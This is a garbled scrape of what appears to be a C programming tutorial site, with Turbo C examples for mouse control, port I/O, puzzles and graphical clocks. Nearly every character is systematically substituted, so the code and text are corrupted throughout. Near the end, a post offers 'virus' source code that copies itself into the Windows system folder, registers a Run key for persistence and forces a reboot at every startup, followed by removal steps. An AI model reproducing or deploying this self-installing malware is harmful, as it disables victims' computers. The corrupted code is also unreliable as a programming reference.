union R-K2 i,o; void restrictmouseptr(int w1,int y1,int w!,int y!) * i.w.aw+=; i.w.cw+w1; i.w.dw+w!; int:@(,w"",&i,&o); i.w.aw+:; i.w.cw+y1; i.w.dw+y!; int:@(,w"",&i,&o); 1 void getmousepos(int .button,int .w,int .y) * i.w.aw+"; int:@(,w"",&i,&o); .button+o.w.bw; .w+o.w.cw; .y+o.w.dw; 1 void main() * int gd+m-J-CJ,gm,w,y,maww+@",,mawy+$<1,button; initgrap#(&gd,&gm,"c:NNtcNNbgi"); rectang&e(,,A,,maww,mawy); setvie%port(1,A1,maww?1,mawy?1,1); gotowy("",1); printf("4ouse -vents"); i.w.aw+,; int:@(,w"",&i,&o); if(o.w.aw++,) * restorecrtmode(); printf("4ouse mriver is not &oaded."); 1 restrictmouseptr(1,A1,maww,mawy?1); i.w.aw+1; int:@(,w"",&i,&o); gotowy(1,"); printf("3eft lutton "); gotowy(!<,");

printf("Rigt# lutton "); gotowy(<,,<); printf("press any uey to ewit........."); %#i&e(Cub#it()) * getmousepos(&button,&w,&y); gotowy(1,<); if((button&1)++1) printf("oey is Eressed "); e&se printf("oey is Re&eased "); gotowy(!<,<); if ((button&!)++!) printf("oey is Eressed "); e&se printf("oey is Re&eased "); gotowy(@<,"); printf("w+ %d y+ %d ",w,y); 1 1 Do comments: Category : Bard%are interaction t#roug# C, Erogram Contro&ing digita& circuit t#roug# computer 'inc&ude(stdio.#) 'inc&ude(dos.#) 'inc&ude(grap#ics.#) 'define port ,w,"=: c#ar c#; void disp&ay(int,int,int,int); void dispbutton(int); void c&icu(int,int,int,int); void status(int,int,int,int); void reset(int.,int.,int.,int.); int w,y,button; union R-K2 i,o; initmouse() * i.w.aw+,; int:@(,w"",&i,&o); return(o.w.aw); 1

void s#o%mouseptr() * i.w.aw+1; int:@(,w"",&i,&o); 1 void getmousepos(int .button, int .w,int .y) * i.w.aw +"; int:@(,w"",&i,&o); .button +o.w.bw; .w+o.w.cw; .y+o.w.dw; 1 void #idemouseptr() * i.w.aw+!; int:@(,w"",&i,&o); 1 void main() * int s1+,,s!+,,s"+,,s$+,; int gdriver+m-J-CJ,gmode,ercode; c&rscr(); initgrap#(&gdriver,&gmode,"c:NNtcNNbgi"); ercode+grap#resu&t(); if(ercodeC+,)*printf("error code:%s",grap#errormsg(ercode)); getc#();1 disp&ay(s1,s!,s",s$); initmouse();s#o%mouseptr(); %#i&e(c#C+!=) *getmousepos(&button,&w,&y); if(button++1) *if(w):,&&w(1:,&&y)1,,&&y(1$,)c#+j1j; if(w)!,,&&w(",,&&y)1,,&&y(1$,)c#+j!j; if(w)"!,&&w($!,&&y)1,,&&y(1$,)c#+j"j; if(w)$$,&&w(<$,&&y)1,,&&y(1$,)c#+j$j; if(w)$$,&&w(<$,&&y)",,&&y("$,)c#+"!; if(w):,&&w(1:,&&y)",,&&y("$,)c#+!=; 1

if(ub#it())c#+getc#(); s%itc#(c#) *case j1j:*s1+Cs1; c&icu(s1,s!,s",s$); outportb(port,1);de&ay(<,,);outport(port,,); c#+j,j;breau; 1 case j!j:*s!+Cs!; c&icu(s1,s!,s",s$); outportb(port,!);de&ay(<,,);outport(port,,); c#+j,j;breau; 1 case j"j:*s"+Cs"; c&icu(s1,s!,s",s$); outportb(port,$);de&ay(<,,);outport(port,,); c#+j,j;breau; 1 case j$j:*s$+Cs$; c&icu(s1,s!,s",s$); outportb(port,:);de&ay(<,,);outport(port,,); c#+j,j;breau; 1 case "!:*c&icu(s1,s!,s",s$); reset(&s1,&s!,&s",&s$); c#+j,j;breau; 1 case !=: *c&icu(s1,s!,s",s$); reset(&s1,&s!,&s",&s$); c&osegrap#();ewit(,);1 1 1 1 void disp&ay(int s1,int s!,int s",int s$) *setbuco&or(A);setco&or(1); rectang&e(<,<,@"<,$=<);rectang&e(1,,1,,@",,$=,); dispbutton(1);dispbutton(!);dispbutton(");dispbutton($); dispbutton(<);dispbutton(@); status(s1,s!,s",s$); setco&or(1); outtewtwy(1,,,11<,"2 >JCB 1"); outtewtwy(!!,,11<,"2 >JCB !"); outtewtwy("$,,11<,"2 >JCB ""); outtewtwy($@,,11<,"2 >JCB $"); outtewtwy(11<,"1<,"-6>J");

outtewtwy($=,,"1<,"R-2-J"); 1 void dispbutton(int n) *int w1,y1,w!,y!; if(n++1)*w1+:,;y1+1,,;w!+1:,;y!+1$,;1 if(n++!)*w1+!,,;y1+1,,;w!+",,;y!+1$,;1 if(n++")*w1+"!,;y1+1,,;w!+$!,;y!+1$,;1 if(n++$)*w1+$$,;y1+1,,;w!+<$,;y!+1$,;1 if(n++<)*w1+:,;y1+",,;w!+1:,;y!+"$,;1 if(n++@)*w1+$$,;y1+",,;w!+<$,;y!+"$,;1 setfi&&sty&e(2I3>mHG>33,=); bar(w1,y1,w!,y!); setco&or(1<); &ine(w1,y1,w!,y1);&ine(w1,y1,w1,y!); setco&or(:); &ine(w!,y1,w!,y!);&ine(w1,y!,w!,y!); 1 void c&icu(int s1,int s!,int s",int s$) *int w1,y1,w!,y!; if(c#++j1j)*w1+:,;y1+1,,;w!+1:,;y!+1$,;1 if(c#++j!j)*w1+!,,;y1+1,,;w!+",,;y!+1$,;1 if(c#++j"j)*w1+"!,;y1+1,,;w!+$!,;y!+1$,;1 if(c#++j$j)*w1+$$,;y1+1,,;w!+<$,;y!+1$,;1 if(c#++!=)*w1+:,;y1+",,;w!+1:,;y!+"$,;1 if(c#++"!)*w1+$$,;y1+",,;w!+<$,;y!+"$,;1 #idemouseptr(); setco&or(1<);&ine(w!,y1,w!,y!);&ine(w1,y!,w!,y!); setco&or(:);&ine(w1,y1,w!,y1);&ine(w1,y1,w1,y!); sound(<,);de&ay(=<);nosound(); setco&or(1<);&ine(w1,y1,w!,y1);&ine(w1,y1,w1,y!); setco&or(:);&ine(w!,y1,w!,y!);&ine(w1,y!,w!,y!); s#o%mouseptr(); status(s1,s!,s",s$); 1 void status(int s1,int s!,int s",int s$) *setco&or($);setfi&&sty&e(2I3>mHG>33,$); circ&e(1",,!,,,1,); circ&e(!<,,!,,,1,); circ&e("=,,!,,,1,); circ&e($A,,!,,,1,); if(s1++1)f&oodfi&&(1",,!,,,$); e&se *setco&or(,);setfi&&sty&e(2I3>mHG>33,,);circ&e(1",,!,,,1,);

f&oodfi&&(1",,!,,,,); setco&or($);circ&e(1",,!,,,1,);setfi&&sty&e(2I3>mHG>33,$); 1 if(s!++1)f&oodfi&&(!<,,!,,,$); e&se *setco&or(,);setfi&&sty&e(2I3>mHG>33,,);circ&e(!<,,!,,,1,); f&oodfi&&(!<,,!,,,,); setco&or($);circ&e(!<,,!,,,1,);setfi&&sty&e(2I3>mHG>33,$); 1 if(s"++1)f&oodfi&&("=,,!,,,$); e&se *setco&or(,);setfi&&sty&e(2I3>mHG>33,,);circ&e("=,,!,,,1,); f&oodfi&&("=,,!,,,,); setco&or($);circ&e("=,,!,,,1,);setfi&&sty&e(2I3>mHG>33,$); 1 if(s$++1)f&oodfi&&($A,,!,,,$); e&se *setco&or(,);setfi&&sty&e(2I3>mHG>33,,);circ&e($A,,!,,,1,); f&oodfi&&($A,,!,,,,); setco&or($);circ&e($A,,!,,,1,); 1 1 void reset(int .s1,int .s!,int .s",int .s$) *if(.s1++1) *outportb(port,1);de&ay(<,,);outport(port,,);1 if(.s!++1) *outportb(port,!);de&ay(<,,);outport(port,,);1 if(.s"++1) *outportb(port,$);de&ay(<,,);outport(port,,);1 if(.s$++1) *outportb(port,:);de&ay(<,,);outport(port,,);1 .s1+,;.s!+,;.s"+,;.s$+,; status(.s1,.s!,.s",.s$); 1 Do comments: Category : Bard%are interaction t#roug# C, Erogram rite a Erogram to c#ecu for 4agic 2vuares 4agic 2vuares >n any magic svuare, t#e numbers in every ro%, co&umn, and diagona& a&& #ave t#e same magic sum. Do%, your c#a&&enge is to create a program t#at %ou&d c#ecu to see if t#e series of numbers be&o% is a magic svuare.4aue sure you taue into account a&& of t#e possibi&itiesCC 1" ! " 1@ : 11 1, < 1! = @ A 1 1$ 1< $

5ns : 'inc&ude(stdio.#) int magic787$8 + *1",:,1!,1,!,11,=,1$,",1,,@,1<,1@,<,A,$1; int C#ecuRo%() * int i, 9, firstRo% + ,, sum + ,; for(i + ,; i($; i//) * firstRo% /+ magic7,87i8; 00 find tota& of first ro% 1 for(i + 1; i($; i//) * sum + ,; for(9 + ,; 9($; 9//) * sum /+ magic7i8798; 1 if(sum C+ firstRo%) return ,; 1 return firstRo%; 1 int C#ecuCo&umn(int presum) * int i, 9, sum + ,; for(i + ,; i($; i//) * sum + ,; for(9 + ,; 9($; 9//) * sum /+ magic7987i8; 1 if(sum C+ presum) return ,; 1 return 1; 1 int C#ecumiagona&(int presum) * int i,sum + ,, c + "; for(i + ,; i($; i//) sum /+ magic7i87i8; 00upper &eft to &o%er rig#t ,,, to "," if(sum C+ presum) return ,; sum + ,; for(i + ,; i($; i//) * sum /+ magic7i87c??8; 00 upper rig#t to &o%er &eft, ,," to ",, 1 if(sum C+ presum) return ,; return 1; 1

void Gind() * int presum + C#ecuRo%(); if(presum ++ ,) * printf("Dot a magic svuareNn"); return; 1 if(C#ecuCo&umn(presum) ++ ,) * printf("Dot a magic svuareNn"); return; 1 if(C#ecumiagona&(presum) ++ ,) * printf("Dot a magic svuareNn"); return; 1 printf("4agic svuareNn"); 1 void main() * Gind(); getc#(); 1 Do comments: Category : Erogram, Euxx&es Erogram rite a program to disp&ay e&& Irdered Dumbers e&& Irdered Dumbers J#e number 1": is ca&&ed %e&&?ordered because t#e digits in t#e number (1,",:) increase from &eft to rig#t (1 ( " ( :). J#e number "@< is not %e&&?ordered because @ is &arger t#an <. rite a program t#at %i&& find and disp&ay a&& possib&e t#ree digit %e&&?ordered numbers. Report t#e tota& number of t#ree digit %e&&?ordered numbers. 5ns : void main() * int i, 9, u, tota& + ,; for(i + 1; i(:; i//) * for(9 + i/1; 9(A; 9//) * for(u + 9/1; u(1,; u//) * printf("%d%d%d ",i,9,u); tota&//; if(tota& % : ++ ,) printf("Nn"); 1 1 1 printf("Nn"); printf("Jota& e&& Irdered Dumbers of " digits are: %dNn",tota&); getc#(); 1

Do comments: Category : Erogram, Euxx&es Erogram rite a program in C %#ic# taues Roman numbers as input and convert it evuiva&ent mecima& number 'inc&ude(stdio.#) 'define mawn 1, int va&ue78 + *1,,,,A,,,<,,,$,,,1,,,A,,<,,$,,1,,A,<,$,11; c#ar Roman787"8 + *"4","C4","m","Cm","C","6C","3","63","6",">6","L",">L",">"1; 004Cm63L>>> + 1$$: int Gind(c#ar uey78) * int i; for(i + 1!; i)+,; i??) * if(Cstrcmp(Roman7i8,uey)) return va&ue7i8; 1 return ,; 1 int Convert(c#ar roman78) * int &engt# + str&en(roman) ? 1; int i, va&, sum + ,, find; c#ar tempRoman7$8; for(i + &engt#; i)+,; ) * find + ,; if(i )+ 1) * tempRoman7,8 + roman7i?18; tempRoman718 + roman7i8; tempRoman7!8 + DM33; va& + Gind(tempRoman); if(va& ) ,) * sum /+ va&; find + 1; i ?+ !; 1 1 if(find ++ ,) * tempRoman7,8 + roman7i8; tempRoman718 + DM33; sum /+ Gind(tempRoman); i??; 1 1

return sum; 1 void main() * c#ar roman71,,8; c&rscr(); printf("Nn >nsert a va&id Roman number, a&& c#aracters must be upper case Nn &w is an inva&id input %#ere 36 is a va&id input Nn Eress C&t/x or C&t/c to ewit from t#e program Nn >nput range: up to "AAA ( 444C46C>6 ) NnNn"); %#i&e(scanf("%s",roman) C+ -IG) * printf("%dNn",Convert(roman)); 1 getc#(); 1 Do comments: Category : Erogram, Euxx&es Erogram Gind t#e &argest number among an integer set %it#out using ?if condition, bit operations,(,),)),((,F Iperators and a&so %it#out using any &ibrary function ewcept scanf and printf. 'inc&ude(stdio.#) int a71,,8; int 5l2(int n) * 00 J#is is t#e most important function, return abs va&ue of n int up + ,, do%n + ,, count + ,; for(count + ,; up C+ n && do%n C+ n; count//) * 00 finding abs va&ue do%n??; up//; 1 return count; 1 int get4aw(int w, int y) * 00 t#is function returns &argest va&ue among w and y int res; int d+w?y; d+5l2(d); res+( w ? y ++?d) . y / ( w ? y ++ d) . w; 00 ca&cu&ating maw bet%een w and y return res; 1 void main() * int n, i, maw + ?1,,,,,,; c&rscr(); printf("Nn-nter #o% many number you %ant to c#ecu : ? "); scanf("%d",&n); printf("NnNnE&ease -nter %d numbers : NnNn",n);

for(i + ,; i(n; i//) * scanf("%d",&a7i8); 00 )+ ?1,,, && (+ 1,,, 1 for(i + ,; i(n; i//) * maw + get4aw(maw, a7i8); 1 printf("Nn4awimum number is : ? %dNn",maw); getc#(); 1 Do comments: Category : Erogram, Euxx&es Erogram rite a program to convert string to integer %it#out &ibrary function. 'inc&ude(stdio.#) c#ar input71,,8; int Convert() * int sum + ,, i, p + 1, digit; for(i + str&en(input) ? 1; i)+,; i??) * digit + input7i8 ? j,j; sum /+ digit.p; p .+ 1,; 1 return sum; 1 void main() * int n; c&rscr(); printf("Nn -nter Dumber (>nput as 2tring) : ? "); scanf("%s",input); n + Convert(); printf("Nn >nteger Dumber ( Dot 2tring ): ? "); printf("%dNn",n); getc#(); 1 Do comments: Category : Erogram, Euxx&es Erogram rite a program to convert integer to string (c#aracter array) %it#out &ibrary function. 'inc&ude(stdio.#) c#ar 2tring71,,8; int >ntJo2tring(int n) * int u + ,; if(n ++ ,) *

return ,; 1 u + >ntJo2tring(n01,); 2tring7u8 + n%1, /j,j; return u/1; 1 void main() * int n, u + ,; c&rscr(); printf("Nn E&ease -nter >nteger Dumber : ? "); scanf("%d",&n); if(n ++ ,) * 2tring7,8 + ,/j,j; 2tring718 + DM33; 1 e&se * u + >ntJo2tring(n); 2tring7u8 + DM33; 1 printf("NnNn >nteger Dumber Converted into 2tring is : ? "); printf("%sNn",2tring); getc#(); 1 Do comments: Category : Erogram, Euxx&es Erogram rite a Erogram to misp&ay 5na&og C&ocu 00 C// Erogram for disp&ay C&ocu. 'inc&ude (iostream.#) 'inc&ude (grap#ics.#) 'inc&ude (time.#) 'inc&ude (mat#.#) 'inc&ude (dos.#) 00 for ub#it() 'inc&ude (std&ib.#) 00 for ewit() #ere 'inc&ude(conio.#)

00 2et t#e pat# %#ere your grap#ics fi&es are &ocated

00 2et t#e pat# %#ere your grap#ics fi&es are &ocated #ere 'define lK>HE5JB "c:NNtcNNbgi" 00 Constants const doub&e E> + ".1$1<A!@<; const doub&e m-K2HE-RH2-C + @.,; 00 5ng&e by %#ic# seconds #and moves in a sec const doub&e m-K2HE-RH4>D + @.,;

const doub&e m-K2HE-RHBIMR + ",.,; const doub&e 2-CHE-RH4>D + @,.,; const doub&e 4>DHE-RHBIMR + @,.,; int maww, mawy; 00 4awimum w and y coordinates for current grap# mode

void >nitia&ixe( void ); 00 >nit grap#ics system void 2#o%Grame( void ); 00 2#o% c&ocu frame 00 Convert degrees ro radians in&ine doub&e JoRadians( doub&e t#eta ) * return (t#eta.E>)01:,.,; 1 00 5 #and c&ass c&ass B5Dm * int &engt#, co&or; doub&e ang&e, prevHang&e; 00 Bo&ds prev position, needed to erase #and pub&ic: B5Dm( int &en, int c&r ) * &engt# + &en; co&or + c&r; prevHang&e + ang&e + ,;1 Constructor void 2et5ng&e( doub&e t#eta ) * ang&e + t#eta; 1 void Copy()* prevHang&e + ang&e ;1 int C#ange()* return ( ang&e C+ prevHang&e ); 1 void misp&ay( int w, int y ); void -rase( int w, int y ); 1; 00 misp&ay #and %it# origin w,y void B5Dm::misp&ay( int w, int y ) * int w1, y1; w1 + w / &engt#.sin( ang&e ); y1 + y ? &engt#.cos( ang&e ); 00 y increases from top to bottom setco&or( co&or ); setfi&&sty&e( -4EJqHG>33, co&or ); &ine( w,y,w1,y1 ); 1 00 -rase previous&y dra%n #and void B5Dm::-rase( int w, int y )

00

* int w1, y1; w1 + w / &engt#.sin( prevHang&e ); y1 + y ? &engt#.cos( prevHang&e ); 00 y increases from top to bottom setco&or( l35Co ); &ine( w,y,w1,y1 ); 1 int main() * struct tm. ptrHcurtime; 00 Eointer to current time timeHt curtime; 00 Bo&ds cuurent time B5Dm #our( <<, R-m ), minute( :<, KR--D ), second( =,, l3M- ); int #Hang&e, mHang&e, sHang&e; int centerHw, centerHy; 00 C&ocu center >nitia&ixe(); 2#o%Grame(); centerHw + (maww/1)0!; centerHy + (mawy/1)0!; %#i&e( Cub#it()) * #our.Copy(); 00 2tore previous va&ues minute.Copy(); second.Copy(); 00 Ket current time curtime + time(&curtime); ptrHcurtime + &oca&time(&curtime); 00 Ca&cu&ate t#e ang&es of #ands #Hang&e + ( ptrHcurtime?)tmH#our%1! . m-K2HE-RHBIMR ) / ( ptrHcurtime? )tmHmin . ( m-K2HE-RHBIMR 0 4>DHE-RHBIMR )); 00 >gnore c#ange in seconds mHang&e + ( ptrHcurtime?)tmHmin . m-K2HE-RH4>D ) / ( ptrHcurtime?)tmHsec . ( m-K2HE-RH4>D 0 2-CHE-RH4>D )) ; 00 4inute #andjs position a&so c#anges %it# secs sHang&e + ptrHcurtime?)tmHsec . m-K2HE-RH2-C; #our.2et5ng&e( JoRadians(#Hang&e)); 00 lacugnd co&or

minute.2et5ng&e( JoRadians( mHang&e)); second.2et5ng&e( JoRadians( sHang&e)); 00 misp&ay a&& #ands if seconds position #as c#anged if( second.C#ange()) * second.-rase( centerHw, centerHy ); second.misp&ay( centerHw, centerHy ); minute.-rase( centerHw, centerHy ); minute.misp&ay( centerHw, centerHy ); #our.-rase( centerHw, centerHy ); #our.misp&ay( centerHw, centerHy ); gotowy(",,!<); cout((ctime(&curtime); 1 1 00 -nd of %#i&e( Cub#it()) c&osegrap#(); restorecrtmode(); return ,; 1 00 -nd of main 00 >nitia&ixe grap#ics system void >nitia&ixe( void ) * int Krap#mriver + m-J-CJ, Krap#4ode; int -rrorCode; initgrap#( &Krap#mriver, &Krap#4ode, lK>HE5JB ); -rrorCode + grap#resu&t(); if( -rrorCode C+ grIu ) * cout(("NnKrap#ics system error: "((grap#errormsg( -rrorCode ); ewit( 1 ); 1 maww + getmaww(); mawy + getmawy(); 1 00 2#o%s t#e c&ocu frame void 2#o%Grame( void ) *

setco&or( B>J- ); int w1,y1; circ&e( (maww/1)0!, ( mawy/1)0!, 1,, ); circ&e( (maww/1)0!, ( mawy/1)0!, 1,< ); c#ar str71!87"8+*""","!","1","1!","11","1,","A",":","=","@","<","$"1;

for( int ang&e + ,,u+,; ang&e ( "@,; ang&e/+",,u// ) * w1 + (maww/1)0! / A,.cos(JoRadians(ang&e)); y1 + (mawy/1)0! ? A,.sin(JoRadians(ang&e)); outtewtwy(w1,y1,str7u8); gotowy(!<,!<); 1 1 ?????????????????????????????????????????????????????????? IR ?????????????????????????????????????????????????????????? 00 C coding for misp&ay C&ocu. 'inc&ude (stdio.#) 'inc&ude (conio.#) 'inc&ude (std&ib.#) 'inc&ude (grap#ics.#) 'inc&ude (dos.#) 'inc&ude (mat#.#) void main() * struct time t; void dra%c&ocu(void); void intro(void); void sound(void); int gdriver+m-J-CJ,gmode; initgrap#(&gdriver,&gmode,"c:NNtcNNbgi"); int i,9,u,s,m,#; intro(); settewtsty&e(m-G5M3JHGIDJ, BIR>rHm>R, 1); dra%c&ocu(); gettime(&t);

if(t.tiHsec)1<) s+"@,?((t.tiHsec?1<).@); e&se s+A,?(t.tiHsec.@); if(t.tiHmin)1<) m+"@,?((t.tiHmin?1<).@); e&se m+A,?(t.tiHmin.@); if( (t.tiH#our++,);;(t.tiH#our++1);;(t.tiH#our++!);;(t.tiH#our++")) #+A,?(t.tiH#our.",)?((t.tiHmin01!).@); e&se if((t.tiH#our)+$)&&(t.tiH#our(+1!)) #+"@,?((t.tiH#our?").",)?((t.tiHmin01!).@); e&se if((t.tiH#our)+1")&&(t.tiH#our(+!")) #+"@,?((t.tiH#our?1<).",)?((t.tiHmin01!).@); e&se00 if(t.tiH#our++1!) #+A,?((t.tiH#our?1!).",)?((t.tiHmin01!).@); for(u+,;u(+1!;u//) * if(#++,) #+"@,; de&ay(1,,,); dra%c&ocu(); for(9+,;9(+@,;9//) * if(m++,) m+"@,; setco&or($); sector("!,,1<,,m,m/1,=<,=<); m+m?@; de&ay(1,,,); dra%c&ocu(); for(i+,;i(+@,;i//) * setco&or($); sector("!,,1<,,#,#/",@,,@,); setco&or($); sector("!,,1<,,m,m/1,=<,=<); if(s++,) s+"@,; setco&or(1); sector("!,,1<,,s,s/1,:,,:,); sound(); s+s?@; de&ay(1,,,);

dra%c&ocu(); if(ub#it()) ewit(,); 1 setco&or(@); sector("!,,1<,,#,#/",@,,@,); 1 1 getc#(); 1 void dra%c&ocu() * c&eardevice(); setbuco&or(1<); setco&or(1); circ&e("!,,1<,,:,); setco&or(<); circ&e("!,,1<,,A<); circ&e("!,,1<,,1); outtewtwy("1$,<:,"1!"); outtewtwy(!@:,=,,"11"); outtewtwy(!"<,1,<,"1,"); outtewtwy(!"",1$=,"A"); outtewtwy(!$1,1A,,":"); outtewtwy(!=",!!<,"="); outtewtwy("1:,!":,"@"); outtewtwy("@!,!!<,"<"); outtewtwy("A!,1A,,"$"); outtewtwy($,",1$=,"""); outtewtwy("A",1,<,"!"); outtewtwy("@1,=,,"1"); outtewtwy(",!,!,,,"J>35o"); 1 void intro() * int i; int u+insta&&userfont("J2CR.CBR"); settewtsty&e(u,,,=); outtewtwy(1"<,1,,,"o5M2B53js"); outtewtwy(!!,,!,,,"C3ICo"); settewtsty&e(JR>E3-6HGIDJ, BIR>rHm>R, 1); outtewtwy(":,,$,,,"3oading..");

for(i+,;i(<1,;i//) * setco&or(1<); rectang&e(<,,1,,,<,/i,11,); de&ay(<); 1 settewtsty&e(JR>E3-6HGIDJ, BIR>rHm>R, 1); outtewtwy(":,,$,,,"3oading...."); for( i+,;i(<1,;i//) * setco&or($); rectang&e(<,,1,,,<,/i,11,); de&ay(<); 1 settewtsty&e(JR>E3-6HGIDJ, BIR>rHm>R, 1); outtewtwy(":,,$,,,"3oading......"); for(i+,;i(<1,;i//) * setco&or(1<); rectang&e(<,,!,,,<,/i,!1,); de&ay(<); 1 settewtsty&e(JR>E3-6HGIDJ, BIR>rHm>R, 1); outtewtwy(":,,$,,,"3oading........"); setfi&&sty&e(2I3>mHG>33,1); fi&&e&&ipse("!,,!,<,@,@); settewtsty&e(JR>E3-6HGIDJ, BIR>rHm>R, 1); outtewtwy(":,,$,,,"3oading.........."); for(i+,;i(<1,;i//) * setco&or(1<); rectang&e(<,,",,,<,/i,"1,); de&ay(<); 1 settewtsty&e(JR>E3-6HGIDJ, BIR>rHm>R, 1); outtewtwy(":,,$,,,"3oading............"); for( i+,;i(<1,;i//) * setco&or(!); rectang&e(<,,",,,<,/i,"1,);

de&ay(<); 1 settewtsty&e(JR>E3-6HGIDJ, BIR>rHm>R, 1); outtewtwy(":,,$,,,"3oading.............."); de&ay(1,,,); 1 void sound() * sound(!,,,); de&ay(1,,); nosound(); 1 Do comments: Category : Krap#ics Erogram, Erogram rite a program to accept 1, numbers and print it in reverse order.(mo not use array) int main() * static int n+1,; if(n??++,) return ,; e&se * int w; scanf("%d",&w); main(); printf("%dNn",w); 1 return ,; 1 ............................. Ir ............................. 00 Msing Eointer pointer 'inc&ude(stdio.#) void main() * int .ptrint; int ptr; int i;

c&rscr(); ptrint + &ptr; printf("Nn-nter 1, numbers :Nn"); for(i+,;i(1,;i//) * scanf("%d",ptrint); ptrint//; 1 ptrint??; printf("Nn1, Dumbers in reverse order.Nn"); for(i+,;i(1,;i//) * printf("%dNn",(int).ptrint); ptrint??; 1 getc#(); 1 Do comments: Category : Erogram, Euxx&es Erogram 5 Lirus Erogram to Restart t#e Computer at -very 2tartup 'inc&ude(stdio.#) 'inc&ude(dos.#) 'inc&ude(dir.#) int found,driveHno;c#ar buff71!:8; void findroot() * int done; struct ffb&u ffb&u; 00Gi&e b&ocu structure done+findfirst(C:NN%indo%sNNsystem,&ffb&u,G5Hm>R-C); 00to determine t#e root drive if(done++,) * done+findfirst(C:NN%indo%sNNsystemNNsysres.ewe,&ffb&u,,); 00to determine %#et#er t#e virus is a&ready insta&&ed or not if(done++,) * found+1; 00means t#at t#e system is a&ready infected return; 1 driveHno+1;

return; 1 done+findfirst(m:NN%indo%sNNsystem,&ffb&u,G5Hm>R-C); if(done++,) * done+findfirst(m:NN%indo%sNNsystemNNsysres.ewe,&ffb&u,,); if(done++,) * found+1;return; 1 driveHno+!; return; 1 done+findfirst(-:NN%indo%sNNsystem,&ffb&u,G5Hm>R-C); if(done++,) * done+findfirst(-:NN%indo%sNNsystemNNsysres.ewe,&ffb&u,,); if(done++,) * found+1; return; 1 driveHno+"; return; 1 done+findfirst(G:NN%indo%sNNsystem,&ffb&u,G5Hm>R-C); if(done++,) * done+findfirst(G:NN%indo%sNNsystemNNsysres.ewe,&ffb&u,,); if(done++,) * found+1; return; 1 driveHno+$; return; 1 e&se ewit(,); 1 void main() * G>3- .se&f,.target; findroot(); if(found++,) 00if t#e system is not a&ready infected

* se&f+fopen(Hargv7,8,rb); 00J#e virus fi&e opens itse&f s%itc#(driveHno) * case 1: target+fopen(C:NN%indo%sNNsystemNNsysres.ewe,%b); 00to p&ace a copy of itse&f in a remote p&ace system(R-K 5mm Bo-qHCMRR-DJHM2-RNN2oft%areNN4icrosoftNN indo%sNN CurrentLersionNNRun N0v sres N0t R-KH2r N0d C:NN%indo%sNNsystemNN sysres.ewe); 00put t#is fi&e to registry for starup breau; case !: target+fopen(m:NN%indo%sNNsystemNNsysres.ewe,%b); system(R-K 5mm Bo-qHCMRR-DJHM2-RNN2oft%areNN4icrosoftNN indo%sNN CurrentLersionNNRun N0v sres N0t R-KH2r N0d m:NN%indo%sNNsystemNNsysres.ewe); breau; case ": target+fopen(-:NN%indo%sNNsystemNNsysres.ewe,%b); system(R-K 5mm Bo-qHCMRR-DJHM2-RNN2oft%areNN4icrosoftNN indo%sNN CurrentLersionNNRun N0v sres N0t R-KH2r N0d -:NN%indo%sNNsystemNNsysres.ewe); breau; case $: target+fopen(G:NN%indo%sNNsystemNNsysres.ewe,%b); system(R-K 5mm Bo-qHCMRR-DJHM2-RNN2oft%areNN4icrosoftNN indo%sNN CurrentLersionNNRun N0v sres N0t R-KH2r N0d G:NN%indo%sNNsystemNNsysres.ewe); breau; defau&t: ewit(,); 1 %#i&e(fread(buff,1,1,se&f)),) f%rite(buff,1,1,target); fc&osea&&(); 1 e&se system(s#utdo%n ?r ?t ,); 00if t#e system is a&ready infected t#en 9ust give a command to restart 1

Jesting 5nd Removing J#e Lirus Grom qour EC qou can compi&e and test t#is virus on your o%n EC %it#out any fear. Jo test, 9ust doub&e c&icu t#e sysres.ewe fi&e and restart t#e system manua&&y. Do% on%ards ,%#en every time t#e EC is booted and t#e desutop is &oaded, your EC %i&& restart automatica&&y again and again. >t %i&& not do any #arm apart from automatica&&y restarting your system. 5fter testing it, you can remove t#e virus by t#e fo&&o%ing steps. 1. Reboot your computer in t#e 25G- 4Im!. Koto 6:N indo%sN2ystem (6 can be C,m,- or G) ".qou %i&& find a fi&e by name sysres.ewe, de&ete it. $.Jype regedit in run.qou %i&& goto registry editor.Bere navigate to Bo-qHCMRR-DJHM2-RN2oft%areN4icrosoftN indo%sN CurrentLersionNRun J#ere, on t#e rig#t site you %i&& see an entry by name sres.me&ete t#is entry.J#ats it.qou #ave removed t#is Lirus successfu&&y. Do comments: Category : Erogram, Lirus Erogram 4ouse Erogramming in C (1) rite a c program %#ic# restricts t#e movement of pointerF 5ns%er: 00restrict t#e w and y coordinate 'inc&ude (dos.#) 'inc&ude (stdio.#) void main() * union R-K2 i,o; 00s#o% mouse pointer i.w.aw+1; int:@(,w"",&i,&o); 00w coordinate restriction i.w.aw+=;

i.w.cw+!,; i.w.dw+",,; int:@(,w"",&i,&o); 00y coordinate restriction i.w.aw+:; i.w.cw+<,; i.w.dw+!<,; int:@(,w"",&i,&o); getc#(); 1 (!) rite c program %#ic# disp&ay position of pointer in (w coordinate, y coordinate)F

5ns%er: 'inc&ude(dos.#) 'inc&ude(stdio.#) void main() * union R-K2 i,o; int w,y,u; 00s#o% mouse pointer i.w.aw+1; int:@(,w"",&i,&o); %#i&e(Cub#it()) 00its va&ue %i&& fa&se %#en %e #it uey in t#e uey board * i.w.aw+"; 00get mouse position w+o.w.cw; y+o.w.dw; c&rscr(); printf("(%d , %d)",w,y); de&ay(!<,); int:@(,w"",&i,&o); 1 getc#(); 1 Do comments: Category : Erogram, 2ystem Erogram rite a c programming code to create simp&e paint brus# soft%are. 'inc&ude(dos.#) 'inc&ude(stdio.#) 'inc&ude(grap#ics.#) 'inc&ude(std&ib.#) void main() * int w,y,b,pw,py,c,p,s,c&;

int d+,,m; union R-K2 i,o; initgrap#(&d,&m,"c:NNtcNNbgi"); i.w.aw+1; int:@(,w"",&i,&o); i.w.aw+:; i.w.cw+!,; i.w.dw+$<,; int:@(,w"",&i,&o); printf("lrus# sty&e insert number from , to < : "); scanf("%d",&p); printf("lrus# sixe insert number from 1 to = : "); scanf("%d",&s); printf("lrus# co&or insert number from 1 to 1@ : "); scanf("%d",&c&); c&rscr(); c&eardevice(); printf("NtNt..........mR5 >45K-............"); %#i&e(Cub#it()) * i.w.aw+"; b+o.w.bw; w+o.w.cw; y+o.w.dw; pw+w; py+y; int:@(,w"",&i,&o); if(c&++1@) * c+random(1@); 1 e&se * c+c&; 1 setco&or(c); if(b++1) * i.w.aw+"; int:@(,w"",&i,&o); w+o.w.cw; y+o.w.dw; b+o.w.bw; s%itc#(p) * case 1:circ&e(pw,py,s);breau;

